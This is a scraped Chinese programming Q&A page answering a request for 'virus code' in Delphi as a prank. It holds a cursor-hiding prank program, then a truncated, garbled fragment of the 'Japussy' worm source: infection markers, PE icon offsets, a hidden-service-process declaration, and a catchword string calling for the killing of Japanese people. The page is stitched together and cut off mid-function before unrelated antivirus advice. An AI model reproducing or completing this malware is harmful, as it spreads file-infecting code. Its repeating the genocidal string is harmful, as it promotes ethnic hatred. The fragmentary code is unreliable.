当前位置:编程学习 > Delphi >>

用 Delphi语言写一断病毒代码!

恶搞效果就是了!
追问:请问这个病毒有什么效果!是怎么用的呢、能不能解释一下里面的内容!+分给你,行不、
答案://1楼抄袭的网上的代码, 是熊猫烧香的, 但是网络上熊猫烧香的源代码并没有完全公布//楼主想看可以去这里看  http://baike.zzzyk.com/view/697258.htmunit Unit1;interfaceuses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, ExtCtrls;type  TForm1 = class(TForm)    Timer1: TTimer;    procedure FormCreate(Sender: TObject);    procedure Timer1Timer(Sender: TObject);  private    { Private declarations }  public    { Public declarations }  end;var  Form1: TForm1;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);begin  Application.ShowMainForm := False;  Timer1.Interval := 1;end;procedure TForm1.Timer1Timer(Sender: TObject);begin  SetCursorPos(Screen.Width + 1, Screen.Height + 1); //你就看不见鼠标了end;end.
rogram japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒体的大小
iconoffset = $12eb8; //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
headersize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + iconsize; //pe文件主图标的尾部
id = $44444444; //感染标记

//垃圾码,以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin


希望可以帮到你:

如果机子配置不错,可以装瑞星。

一般推荐360卫士+nod32,占资源较少。
下载360可以免费使用nod32半年,在线升级。

上一个:delphi图书管理系统报告怎么写啊
下一个:用delphi怎样设计数据库用户注册界面

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,